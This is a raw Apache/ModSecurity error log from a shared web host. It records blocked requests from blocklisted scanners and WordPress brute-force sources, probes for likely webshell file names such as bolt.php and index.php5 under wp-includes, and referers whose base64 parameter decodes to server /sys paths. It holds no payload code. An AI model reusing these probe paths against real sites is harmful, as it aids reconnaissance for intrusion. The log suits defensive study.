https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:25:19.261031 2026] [access_compat:error] [pid 715691:tid 715828] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:25:19.360474 2026] [security2:error] [pid 715691:tid 715743] [remote 17.22.253.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3077V-dFiaX9AtWiQ1TgABXiE"] [Sat Jun 13 18:25:19.459888 2026] [security2:error] [pid 715691:tid 715769] [remote 17.246.23.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3077V-dFiaX9AtWiQ1UAABJjo"] [Sat Jun 13 18:25:19.502090 2026] [access_compat:error] [pid 715691:tid 715914] [client 185.199.157.16:28619] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/ID3/index.php, referer: http://krosscorp.us/wp-includes/ID3/ [Sat Jun 13 18:25:19.502498 2026] [access_compat:error] [pid 715691:tid 715914] [client 185.199.157.16:28619] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/ID3/index.phtml, referer: http://krosscorp.us/wp-includes/ID3/ [Sat Jun 13 18:25:19.504045 2026] [access_compat:error] [pid 715691:tid 715914] [client 185.199.157.16:28619] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/ID3/index.php5, referer: http://krosscorp.us/wp-includes/ID3/ [Sat Jun 13 18:25:19.519316 2026] [access_compat:error] [pid 715691:tid 715790] [remote 57.141.14.75:60638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:19.519756 2026] [access_compat:error] [pid 715691:tid 715790] [remote 57.141.14.75:60638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:19.810984 2026] [security2:error] [pid 715691:tid 715841] [client 185.199.157.13:59959] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/bolt.php"] [unique_id "ai3077V-dFiaX9AtWiQ1ZQAAAQo"] [Sat Jun 13 18:25:19.834375 2026] [access_compat:error] [pid 715691:tid 715722] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9ldmVudDAvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:25:19.834863 2026] [access_compat:error] [pid 715691:tid 715722] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9ldmVudDAvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:25:19.869280 2026] [security2:error] [pid 715691:tid 715935] [client 210.217.96.217:9232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3077V-dFiaX9AtWiQ1aAAAAWg"] [Sat Jun 13 18:25:19.869457 2026] [security2:error] [pid 715691:tid 715935] [client 210.217.96.217:9232] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3077V-dFiaX9AtWiQ1aAAAAWg"] [Sat Jun 13 18:25:19.944938 2026] [access_compat:error] [pid 715691:tid 715741] [remote 57.141.14.106:55983] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:19.945369 2026] [access_compat:error] [pid 715691:tid 715741] [remote 57.141.14.106:55983] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:19.985427 2026] [access_compat:error] [pid 715691:tid 715826] [remote 57.141.14.92:57716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:19.985918 2026] [access_compat:error] [pid 715691:tid 715826] [remote 57.141.14.92:57716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:20.292406 2026] [security2:error] [pid 715691:tid 715734] [remote 17.246.23.215:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 215.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai308LV-dFiaX9AtWiQ1eQABVRg"] [Sat Jun 13 18:25:20.324660 2026] [access_compat:error] [pid 715691:tid 715742] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:25:20.324950 2026] [access_compat:error] [pid 715691:tid 715742] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:25:20.350041 2026] [access_compat:error] [pid 715691:tid 715789] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:20.350325 2026] [access_compat:error] [pid 715691:tid 715789] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:20.395385 2026] [security2:error] [pid 715691:tid 715749] [remote 17.22.245.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai308LV-dFiaX9AtWiQ1gAABDyc"] [Sat Jun 13 18:25:20.440286 2026] [security2:error] [pid 715691:tid 715910] [client 185.199.157.19:49377] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content.php"] [unique_id "ai308LV-dFiaX9AtWiQ1hAAAAU8"] [Sat Jun 13 18:25:20.755867 2026] [security2:error] [pid 715691:tid 715833] [remote 220.181.108.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai308LV-dFiaX9AtWiQ1lAABM3o"] [Sat Jun 13 18:25:20.929517 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.104:28354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:20.930042 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.104:28354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:20.939058 2026] [access_compat:error] [pid 715691:tid 715836] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:25:20.939490 2026] [access_compat:error] [pid 715691:tid 715836] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:25:20.997247 2026] [security2:error] [pid 715691:tid 715832] [remote 17.241.227.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai308LV-dFiaX9AtWiQ1rwABKHk"] [Sat Jun 13 18:25:21.062872 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.19:48568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:21.063541 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.19:48568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:21.107431 2026] [security2:error] [pid 715691:tid 715931] [client 185.199.157.20:25353] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/xmlrpc.php"] [unique_id "ai308bV-dFiaX9AtWiQ1uwAAAWQ"] [Sat Jun 13 18:25:21.183609 2026] [security2:error] [pid 715691:tid 715786] [remote 195.142.108.235:41624] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.108.142.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "refrigeratedrentalsolutions.com.au"] [uri "/wp-login.php"] [unique_id "ai308bV-dFiaX9AtWiQ1xgABJUs"] [Sat Jun 13 18:25:21.378819 2026] [access_compat:error] [pid 715691:tid 715744] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNlL2V2ZW50Mw== [Sat Jun 13 18:25:21.379102 2026] [access_compat:error] [pid 715691:tid 715744] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNlL2V2ZW50Mw== [Sat Jun 13 18:25:21.537725 2026] [security2:error] [pid 715691:tid 715715] [remote 57.141.14.102:26237] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai308bV-dFiaX9AtWiQ12wABMQU"], referer: https://nelsonfarmstn.com/product/sparkling-clean/?add_to_wishlist=369&_wpnonce=8d149de2a5&add-to-cart=391 [Sat Jun 13 18:25:21.644085 2026] [http2:info] [pid 756778:tid 756778] h2_workers: created with min=128 max=192 idle_ms=600000 [Sat Jun 13 18:25:21.654473 2026] [access_compat:error] [pid 715691:tid 715741] [remote 57.141.14.17:48074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:21.654768 2026] [access_compat:error] [pid 715691:tid 715741] [remote 57.141.14.17:48074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:21.924745 2026] [access_compat:error] [pid 715691:tid 715803] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:21.925180 2026] [access_compat:error] [pid 715691:tid 715803] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:21.996613 2026] [access_compat:error] [pid 756778:tid 756780] [remote 57.141.14.47:46552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:21.997089 2026] [access_compat:error] [pid 756778:tid 756780] [remote 57.141.14.47:46552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:22.036093 2026] [security2:error] [pid 715691:tid 715954] [client 216.73.216.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/file/fwrite_variation2.phpt"] [unique_id "ai308rV-dFiaX9AtWiQ1-QAAAXs"] [Sat Jun 13 18:25:22.038896 2026] [security2:error] [pid 715691:tid 715758] [remote 17.241.219.135:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 135.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai308rV-dFiaX9AtWiQ1-gABES8"] [Sat Jun 13 18:25:22.044283 2026] [access_compat:error] [pid 715691:tid 715749] [remote 57.141.14.60:34786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:22.044775 2026] [access_compat:error] [pid 715691:tid 715749] [remote 57.141.14.60:34786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:22.051418 2026] [access_compat:error] [pid 715691:tid 715711] [remote 57.141.14.7:46423] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:22.051842 2026] [access_compat:error] [pid 715691:tid 715711] [remote 57.141.14.7:46423] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:22.092820 2026] [access_compat:error] [pid 715691:tid 715726] [remote 57.141.14.17:48090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:22.093241 2026] [access_compat:error] [pid 715691:tid 715726] [remote 57.141.14.17:48090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:22.268027 2026] [security2:error] [pid 715691:tid 715833] [remote 220.181.108.178:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai308rV-dFiaX9AtWiQ2BQABJ3o"] [Sat Jun 13 18:25:22.448422 2026] [security2:error] [pid 715691:tid 715760] [remote 17.246.19.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai308rV-dFiaX9AtWiQ2DAABgTE"] [Sat Jun 13 18:25:22.457351 2026] [access_compat:error] [pid 715691:tid 715731] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 